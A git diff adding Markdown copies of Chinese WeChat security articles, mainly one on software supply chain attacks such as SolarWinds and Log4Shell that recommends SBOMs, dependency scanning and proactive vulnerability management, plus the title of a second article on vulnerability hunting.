+一些大的网络攻击(SolarWinds、Log4Shell、MOVEit)并非通过传统基础设施发生。它们是通过管理员甚至都不知道正在使用的第三方代码和软件组件进入的。
+
+近年来一些极具破坏性的网络攻击揭示了一个关键安全盲区:软件供应链。SolarWinds、Log4Shell和MOVEit等重大事件并非通过传统的网络入侵途径发生,而是巧妙地利用了深埋在组织信任的第三方软件中的漏洞。这些攻击的特别危险之处在于,它们利用了组织环境中"隐形"的组件——那些IT管理员甚至不知道存在于其系统中的依赖项、库和框架。
+
+当安全团队无法看到完整的软件构成时,就无法保护它。这种"未知的未知因素"为攻击者提供了理想的隐蔽入口,使他们能够绕过传统的安全控制,直接通过受信任的渠道进入企业环境。
+
+
+**解决办法**
+
+
+
+
+
+建立主动的软件供应链安全策略
+
+从要求所有供应商提供详细的软件物料清单(SBOMs)开始。这些数字"配方表"应详细列出产品中使用的每个组件、库和依赖项,从而提供完整的可见性。
+
+实施自动化扫描机制,持续检查所有第三方组件,包括那些嵌入在商业应用程序中的组件。建立依赖关系图谱,追踪您环境中使用的所有软件组件之间的复杂关系网络。
+
+部署自动化监控系统,在发现任何第三方组件存在新漏洞时立即发出警报,旨在快速响应,即使是在供应商正式发布补丁之前。
+
+记住这个基本原则:供应商的安全问题不应该成为组织的安全危机。
+
+
+
+
+
+**建立从被动防御到主动安全态势**
+
+
+现代漏洞管理已经超越了简单的"发现-修复"模式,演变为一门复杂的战略学科。它不再仅仅关注漏洞识别,而是构建了一个完整的安全生态系统,融合了精准的风险评估、快速的威胁检测、高效的修复流程,以及跨越整个数字领域的全方位可见性——从核心数据中心到边缘分支机构,从办公室工作站到远程员工设备。
+
+综上所述,卓越的漏洞管理建立在三大核心支柱之上:
+1. 战略性安全政策:明确定义的风险容忍度、响应流程和责任分配,为所有安全活动提供清晰指导
+
+1. 精确的系统情报:对环境中每个资产的深入了解,包括其价值、配置和互连性
+
+1. 智能自动化:将这些洞察转化为自动化工作流,实现从检测到修复的无缝过渡
+
+这种整合方法使组织能够充分发挥现代自动化工具和补丁管理解决方案的潜力,将理论上的安全转化为实际的防护能力。
+
+网络安全领域的进化速度前所未有。那些能够适应这一新现实、采用现代漏洞管理实践的安全专业人员将始终领先于威胁行为者。而那些固守传统方法的组织?他们实际上正在无意中成为攻击者的盟友。
+
+相关阅读
+
+[2025年值得关注的十大漏洞管理工具](https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651134752&idx=2&sn=a71898ac89bc6a622d04a05f120c6232&scene=21#wechat_redirect)
+
+
+[为何1/3企业安全事件源头没法追溯,审视网络安全管理的6大漏洞](https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651133346&idx=1&sn=556b9a1064dfd11eb639b71bf3c7c736&scene=21#wechat_redirect)
+
+
+[简析漏洞生命周期管理的价值与关键要求](https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651131155&idx=1&sn=178de8f3379272d49120415bf9becaf0&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+合作电话:18311333376
+
+合作微信:aqniu001
+
+投稿邮箱:editor@aqniu.com
+
+
+
+
+
+
+
+
diff --git a/doc/2025-06/玩转网络漏洞挖掘,实战能力弯道超车.md b/doc/2025-06/玩转网络漏洞挖掘,实战能力弯道超车.md
new file mode 100644
index 00000000..bc081aa5
--- /dev/null
+++ b/doc/2025-06/玩转网络漏洞挖掘,实战能力弯道超车.md
@@ -0,0 +1,6 @@
+# 玩转网络漏洞挖掘,实战能力弯道超车
+ 蚁景网络安全 2025-06-10 09:35
+
+
+
+